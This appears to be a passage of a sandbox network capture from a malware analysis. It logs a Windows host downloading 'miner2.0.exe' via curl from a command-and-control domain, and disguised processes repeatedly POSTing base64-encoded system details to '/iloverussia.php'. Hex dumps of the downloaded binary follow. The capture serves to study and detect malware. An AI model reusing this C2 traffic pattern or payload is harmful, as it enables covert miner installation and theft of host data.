2024-09-27 15:42:31 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:32 UTC	620	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MMcL4JtxlJFJaK4EaAjNhLyYK%2FibuAJGA6Ul9754YLXWmq5cz1o8CtBo9fGjAvX2YRiraJ1lz2PeN4FDC6TZMK8Qw6lqb4UIC5mF3AaHs%2BiPtCpcXtsRa4HKhlv4zL6WLQCUP8MH3o8p"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9aa9aefcc32a-EWR
2024-09-27 15:42:32 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49800	172.67.187.100	443	6580	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:32 UTC	107	OUT	GET /download/miner2.0.exe HTTP/1.1 Host: eijfrhegrtbrfcd.online User-Agent: curl/7.83.1 Accept: /
2024-09-27 15:42:33 UTC	720	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:33 GMT Content-Type: application/octet-stream Content-Length: 45056 Connection: close last-modified: Fri, 20 Sep 2024 09:20:01 GMT etag: "b000-622898b2b5240" strict-transport-security: max-age=31536000; Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=exS4%2BOP27w%2BM%2BWCthe3WimWffxwYNM7jCwiv%2F6cLf9acYMdTNos13OPv5CfGEzIrODAkdIgnlfOc3ZW2mAf49S6nDHxmQj1QUG%2FmXu48p7ymZ4Q2OB%2BZOzSUtplJSxfPSFla2aKcEept"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9aaf99264405-EWR
2024-09-27 15:42:33 UTC	649	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 c5 2d ed 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0b 00 00 a8 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 40 01 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 01 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd-f" @ @@@
2024-09-27 15:42:33 UTC	1369	IN	Data Raw: 00 00 0a 06 17 6f 0a 00 00 0a 06 17 6f 0b 00 00 0a 06 16 6f 0c 00 00 0a 06 17 6f 0d 00 00 0a 06 28 0e 00 00 0a 26 de 03 26 de 00 20 88 13 00 00 28 0f 00 00 0a de 03 26 de 00 28 10 00 00 0a 28 06 00 00 0a 72 0c 03 00 70 28 07 00 00 0a 28 02 00 00 06 6f 08 00 00 0a 28 11 00 00 0a 72 3e 03 00 70 28 12 00 00 0a 73 13 00 00 0a 72 50 03 00 70 6f 14 00 00 0a 74 01 00 00 1b 28 02 00 00 06 28 15 00 00 0a 73 04 00 00 0a 0b 07 72 01 00 00 70 6f 05 00 00 0a 07 1b 8d 0f 00 00 01 0c 08 16 72 90 03 00 70 a2 08 17 28 10 00 00 0a 28 06 00 00 0a 72 0c 03 00 70 28 07 00 00 0a 28 02 00 00 06 6f 08 00 00 0a 28 11 00 00 0a a2 08 18 72 98 03 00 70 a2 08 19 28 16 00 00 0a 6f 17 00 00 0a a2 08 1a 72 9e 03 00 70 a2 08 28 18 00 00 0a 6f 09 00 00 0a 07 28 10 00 00 0a 6f 19 00 00 0a Data Ascii: oooo(&& (&((rp((o(r>p(srPpot((srporp((rp((o(rp(orp(o(o
2024-09-27 15:42:33 UTC	1369	IN	Data Raw: ba 3a d6 ac ce 61 c2 f7 d9 d5 b1 19 8d 9f 1f 7f 88 bf 50 d7 c3 65 d2 cf be bc e4 27 76 56 86 a4 d6 9f c6 19 0e d6 dc fb 8a 7a bc f6 89 6b 83 08 4d 75 53 12 1d 45 d5 a2 7c 3a f2 38 4c bb f7 75 a6 68 61 0d a2 a1 db d2 95 2c 96 7f 43 9b 4f 74 ee 4f d7 c6 a0 2f 86 29 13 27 be 6b 72 14 2e 2d aa cb 85 55 27 d1 db 27 2a 1d 4e 5e 86 0d 1b a7 6f 70 85 6a 59 f1 62 04 9e b5 52 7d a9 d8 98 a5 9b 5d 75 9e f9 21 15 29 dd e3 a2 6b 82 42 56 32 79 98 5a 44 4a f1 eb b2 45 30 94 8e a5 c8 81 72 dd dc d5 c9 89 83 37 e6 67 ca 35 d3 30 99 1d 48 e5 7f 8a 6e 3d 6c b6 74 48 2d 54 d2 e2 2e 89 19 46 32 f8 16 88 33 65 96 2f 4a 3a 09 7b 11 47 a2 ab 10 98 ca 52 3e 11 48 a0 05 11 57 f3 0e 8c 1d d2 0c 27 ab 97 c9 cd ae e4 73 31 63 1d c4 52 46 bb af aa cf 73 c0 0f 27 ac 74 b2 fc ed b8 c9 Data Ascii: :aPe'vVzkMuSE\|:8Luha,COtO/)'kr.-U''*N^opjYbR}]u!)kBV2yZDJE0r7g50Hn=ltH-T.F23e/J:{GR>HW's1cRFs't
2024-09-27 15:42:33 UTC	1369	IN	Data Raw: 33 50 64 8c 4f 63 40 eb 36 ad 3d df 66 3f 23 8a a9 59 ad 66 bd cd 43 fa 2e 30 4f 0f d4 a4 6f c8 d6 4d 57 4e 1e 22 c8 5d 68 4d c2 98 bb 1e cc 45 82 94 6a 18 97 79 28 5f 22 3b 82 f5 14 17 3f 3c 7c 8c 13 c3 f5 e5 27 a3 bb 97 7d 2a b8 29 cb 62 0c 9f fd 63 11 99 de 28 e2 81 11 28 f2 ae e2 e2 63 2c 1f e4 81 40 7f 5c 70 89 de 19 8a 95 3f 0a 8c 18 b1 9f 8d 98 f9 c0 b3 9d 11 74 ce f8 72 49 18 5d 46 bf 98 c5 e2 80 03 d1 65 0f 62 a9 a1 e2 71 cd ea c2 fc c8 46 9e fa c1 00 e6 b9 7d cc 25 53 e8 f6 ee 0b fd 48 94 ff 54 1e 22 91 ac 6c 57 68 d0 85 3c ae 46 09 6b 87 4e bd 3d 7b c3 45 3b ef bb 3e 6f b3 2a 86 41 26 a9 88 35 35 eb 93 56 ba 48 4b 4c 39 87 04 62 2d 9e 3c c9 46 3a ab 01 04 70 07 9c 57 19 ba ca 04 e9 b4 2f 44 43 0b c1 c2 e7 e7 21 34 c1 b5 1b 66 89 ea 84 56 5e 1d Data Ascii: 3PdOc@6=f?#YfC.0OoMWN"]hMEjy(_";?<\|'})bc((c,@\p?trI]FebqF}%SHT"lWh<FkN={E;>oA&55VHKL9b-<F:pW/DC!4fV^
2024-09-27 15:42:33 UTC	1369	IN	Data Raw: 2c 92 ca e0 b4 6c d6 1c d7 86 20 0c 60 b8 a3 2c 76 9f e2 02 c6 a0 d7 61 2a fd 00 85 fe 1d 95 e2 bd 30 83 dc c4 63 ba be 33 06 27 f7 76 bb 8f 7e 1b 16 39 d6 e9 ec ad c1 c1 b1 ed 1d 57 3e f4 9c 1d 4f 22 38 9c af b4 7a ab 7d 14 96 59 95 18 58 59 81 b4 fc 4a a3 a6 c5 0d 3f ba ca 91 ae 9e ea fc b4 b0 5b bc fa 55 e3 f3 42 e2 0a 31 95 7e a4 37 07 75 5a a7 39 55 04 75 df 54 e7 e8 e1 4f 54 8c 9a fa 93 47 c3 d6 8c 89 68 da 56 3c 93 e6 4f 0a 0f 74 a8 da fd 2d 9b b0 19 a8 7c 14 97 a0 71 19 ee 8d 1c 55 c6 98 d4 dc 05 ee 99 2c d9 df d5 17 1c 50 e5 9f 85 e0 48 74 68 c4 db 85 52 9f 4d b2 85 6f 5b a1 b6 8a 0a 2a 48 36 74 93 d2 8b d8 87 67 a0 bc 50 47 30 ac f0 fa f8 ba d0 46 b6 2f 5d 15 30 41 68 7f c7 6c f4 2d 81 78 5f 87 e6 d9 34 1e 48 e5 2d 9d 96 ce 64 79 0a 2a f7 7a ba Data Ascii: ,l `,va0c3'v~9W>O"8z}YXYJ?[UB1~7uZ9UuTOTGhV<Ot-\|qU,PHthRMo[H6tgPG0F/]0Ahl-x_4H-dy*z
2024-09-27 15:42:33 UTC	1369	IN	Data Raw: fd 62 f6 01 97 bb b8 1d 4b e9 e6 5c 58 55 aa 09 68 3f 74 42 f0 c7 29 cf ce 74 86 72 5f 0f fb 84 c7 07 66 75 c1 89 ce 17 a6 51 5f e6 66 f5 57 f7 df fb 13 90 9d c9 4e cb ef 4d 93 a8 d5 48 a2 6a f9 46 18 8e ba fd 1f 7f 67 09 9d 74 e1 82 c6 92 40 49 6e 3b d8 f1 d4 53 52 9a 02 ea 88 b3 dd 42 9f 91 78 0d 8e 75 df 04 db 26 ef 65 34 7f 11 3d b8 b8 20 49 c7 21 dd 7f e9 4c ab b2 e9 c9 bb dd 46 6d fc 2a 97 1b 18 f0 8c 52 3e 31 96 29 89 25 e9 a7 f9 0d e7 91 65 83 60 f8 e5 d4 36 45 2f 58 31 50 d4 71 8c f1 58 05 28 d8 15 46 90 ad f9 3e 28 c2 27 9d a1 1a c5 7d 4f 64 d2 14 91 07 83 a1 a8 1e 78 aa 65 fc 25 4b 26 db b8 b0 4e 97 e7 c2 7a 55 c9 32 19 3e d7 7e a6 b3 e4 28 bb 26 e3 ac b9 25 6f 98 9c cd b9 ad f5 98 82 5d e0 44 e7 31 4f cd 61 ac 88 4a eb 32 16 60 71 b6 9b aa 2d Data Ascii: bK\XUh?tB)tr_fuQ_fWNMHjFgt@In;SRBxu&e4= I!LFm*R>1)%e`6E/X1PqX(F>('}Odxe%K&NzU2>~(&%o]D1OaJ2`q-
2024-09-27 15:42:33 UTC	1369	IN	Data Raw: b7 17 29 65 8e 48 5e f6 b4 e9 0b 04 5d cc 7b 03 28 d8 bc 2b cf 3a e5 29 9a 6a a0 61 7b ea f2 0d df c5 4c 2f d9 ad 4a e8 68 a6 16 17 42 de 5e a1 43 9f d6 13 23 57 db 9a 55 83 b1 e0 00 e9 b4 7e c3 5c a8 06 bc 15 cb 41 2e 05 42 2d 91 e6 8a f0 51 ab c9 bd a5 ab d1 a1 b4 72 0f ed 4b 67 82 d8 15 8c 8d f4 8c 4c 70 7e dd 38 3b 5e 7c b5 be 7a 99 1b 58 ad 53 ea 43 b2 52 f7 fd ce 54 cb de ab 2b 3a 30 69 00 24 17 76 54 6e 25 f7 5b f3 4b 66 c0 8b 6a 0c a9 09 f8 f3 33 d2 e3 9b 2d bc 14 f4 0b a8 d1 eb 6c 76 91 05 2d 75 51 4c 87 01 70 de 9e 16 1d 09 73 cd ec 33 fd 7e 6d a0 75 65 6f 5e 02 7d 35 64 80 78 54 7f 64 aa 2c 07 9a 78 27 55 e0 65 77 9c 3e 4c 9f 6d cf 3d e1 a3 59 11 02 e3 d4 3c 85 7f 02 0c 2c 81 fa e6 89 7a 8b c3 8e d0 b3 7e 04 b5 ab ef 02 cb 59 7d ec b5 9d 31 be Data Ascii: )eH^]{(+:)ja{L/JhB^C#WU~\A.B-QrKgLp~8;^\|zXSCRT+:0i$vTn%[Kfj3-lv-uQLps3~mueo^}5dxTd,x'Uew>Lm=Y<,z~Y}1
2024-09-27 15:42:33 UTC	1369	IN	Data Raw: 80 2d 68 3c 42 6b 30 27 ca 33 c1 f2 98 c1 55 16 64 69 f9 dd 97 0b d0 6c 13 3e 81 ae 03 ef 68 2b d5 9b a7 c2 29 56 23 e6 5e 4a bb 93 68 d9 9b 76 f3 31 3c a1 56 0f 32 5c 1f f9 a0 7c e0 dc 0d ef 45 8c 23 15 55 8a 42 a6 c9 bf 20 22 49 d4 cd 81 cb 7b 8b a2 6f a8 50 9d 42 88 2d 25 c5 fd 6b 70 24 83 db 19 d3 36 ca 2e 2a 71 41 1e 4b 78 4a 62 a9 46 e5 23 49 73 99 c2 a2 a2 a2 0f 33 e8 95 a8 2d 48 f6 78 b3 c1 92 94 8a e1 78 6e 51 72 5e 29 83 79 fa 06 25 1a 6d 03 0b 0a 08 06 21 42 1e f1 c2 8c 18 ae 93 63 48 a0 cd f9 1b ff ba 35 2e 61 9c 05 18 e7 43 d8 81 9b 39 e7 bb 57 e5 73 7b 69 5f 29 fa 69 35 33 df ab 11 dd e0 8b f0 00 06 12 98 60 21 ef 71 99 53 6e b7 8c ed 70 9f 02 dd 93 4d 08 a7 b3 14 61 a9 57 b4 1b a8 9a 0d 8b 0c 8f a6 7a c1 cc d1 e2 3b 91 58 9a 6d f7 66 33 bd Data Ascii: -h<Bk0'3Udil>h+)V#^Jhv1<V2\\|E#UB "I{oPB-%kp$6.*qAKxJbF#Is3-HxxnQr^)y%m!BcH5.aC9Ws{i_)i53`!qSnpMaWz;Xmf3
2024-09-27 15:42:33 UTC	1369	IN	Data Raw: 89 42 21 bf 7e fa 20 9f 2d ea 50 0f 7c c0 bd 8b fc 8a f8 6a 10 72 03 46 a8 6a c4 5d fc ad 5f 4d e6 f2 b6 80 b9 25 fa 14 c9 6e 56 a4 67 46 6d 08 67 33 f3 9b ea ec 3b 84 a3 70 f0 5d f5 d7 b0 ad aa 23 28 3b d9 4d 33 a0 d5 e3 4c e5 b4 f5 6c d0 78 48 ed f4 90 4e f7 f2 77 95 9a e3 cb a7 9e 84 a5 2d 3b c0 32 77 ae 58 8e c0 62 c2 b2 0e e8 93 ef 40 84 c4 81 ff ef 79 79 c8 f2 27 0c 69 d7 18 0c 18 76 ac ac a1 25 83 53 1c 3e 92 18 cb 94 15 d4 e2 e5 a6 81 a1 0c e7 a0 5e 7d df f9 75 7d e3 5b a9 9d f4 54 eb 90 76 62 8f 52 0e 68 51 ed 73 2f d7 b9 94 50 40 90 03 fc bf 00 6b 4c a9 aa bd b8 cd 8b 06 19 a9 db c5 3b 16 41 e7 ca 82 a6 74 4f 76 2e ce 3e 82 49 ce ba 92 71 c2 10 7f ab 5d 99 02 12 c9 9d 35 b7 2d 98 bb 68 f0 c0 b2 42 6d f7 68 e6 54 f4 6d 05 7b 9d 44 b0 0e 25 ef ee Data Ascii: B!~ -P\|jrFj]_M%nVgFmg3;p]#(;M3LlxHNw-;2wXb@yy'iv%S>^}u}[TvbRhQs/P@kL;AtOv.>Iq]5-hBmhTm{D%
2024-09-27 15:42:33 UTC	1369	IN	Data Raw: 58 39 1b 75 05 bf 2a 9f 03 f3 65 c0 a1 76 b2 ea 86 c1 44 7b e1 f4 2d 0e 85 b2 65 1a 4e e1 56 a4 fe 3c a6 f8 ae 95 50 2e 89 ac f5 22 93 20 19 af 23 19 da 04 1b ea 10 ff 96 fa 75 68 85 43 7d 66 39 db 1e 32 20 54 fb 65 8c 1d 45 68 c6 5f 99 b4 54 ae aa f9 20 66 46 57 21 2f e7 3d 4b f4 d9 30 57 66 9b 53 98 46 d2 ef 43 b2 ee 58 30 21 c7 23 5d 6d a3 d0 8e 17 78 a2 85 a1 b6 c5 e6 47 79 d5 45 ba f4 4a 8f 6c b9 14 4b 85 44 9d de 2a 80 2f e6 c8 08 52 6d 42 56 9f 82 3d 56 26 7d c9 48 c7 99 92 3a 2d 10 64 64 e8 f8 21 fe 18 5f 12 b3 92 fd 55 9f b8 41 28 15 cc 07 46 93 a7 69 97 46 f2 40 be 34 59 d3 91 59 26 d4 ef fc a6 94 b4 c1 1e 9f 1c b5 fb 2d 5f e6 0d 24 86 a8 22 c0 62 c2 7a 6a fa d5 f3 04 ec 11 5d 5c 83 14 9e 77 4c 5b da b6 fe 14 e8 b0 17 8e 7e 24 b0 88 5b d1 70 06 Data Ascii: X9uevD{-eNV<P." #uhC}f92 TeEh_T fFW!/=K0WfSFCX0!#]mxGyEJlKD/RmBV=V&}H:-dd!_UA(FiF@4YY&-_$"bzj]\wL[~$[p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49801	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:33 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:33 UTC	664	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=opoP4DzuuwJpMkaclWY1KA9BQ2B7pKIC72rfAxxwTYiR8gSxiMBaGoygYnUm%2FtIYjAcUXgceSwiGCi%2Fwg5K%2BhKGjk9%2F1lYOiQHMuTHu0CRpv0m5x%2Ba0%2F5Amq%2Fq2%2BW9%2Bi61FxYtp2tpL4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9ab11f3143d9-EWR alt-svc: h3=":443"; ma=86400
2024-09-27 15:42:33 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49804	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:34 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:34 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XdX%2FR2pWOAehTUolumMVOO3Qu0T3pvETWDH4f0QR%2FbfKjHLILjdI3ktliN7JazwHv7XTzXn9NW3%2BelMfk%2BlS7CBjr%2BCteVOzaHKvE7qm6ZFq3UJ5RC25JUgwWn0GxPtvEDlXWFhvnOrq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9ab9fa294319-EWR
2024-09-27 15:42:34 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49803	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:34 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:34 UTC	620	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tW8eHXF8iB9%2B41UosqRhsgHIJCArfTt6rj2bvbt4QfGufB7G59AUM2m86JQeX%2BPXBxjH8wT4ogaoYS87OQXg2ZN7nRytKxT69iWphdeNc1UhDCJIdNR8JGL8UqzFUZcmVfzuOqfJuUW4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9aba9aff42dc-EWR
2024-09-27 15:42:34 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49806	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:35 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:36 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AAerZ0r5LcCMa8H85PctN%2Bj4Rw7HdmzBTGgM3PxeZhzVoR5uir84L2BXyBVdjft5TgSsjzBOT8fVzYlTt%2BV9Qa1IGrAUkU%2BQkiFhkV58fXHp5%2FAGl1ZqyRzh%2BmKthOnoj3LlTkQijWxz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9ac2ee6e420d-EWR
2024-09-27 15:42:36 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49807	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:36 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:36 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WfyMoPKsHoUR%2FZ9Vy%2FB9dISXeJCWmwn7csu9MNLGmDr6xJes4e3syjYzEL0Qf3Z0dSmX98x93kPxB7BKkmhb6vw%2B7coowFVwgbB9Z2NOFgVCPvRutTDW8KSIb83x1%2Bl%2FffNCgIGPxbRV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9ac3a9dc42ea-EWR
2024-09-27 15:42:36 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
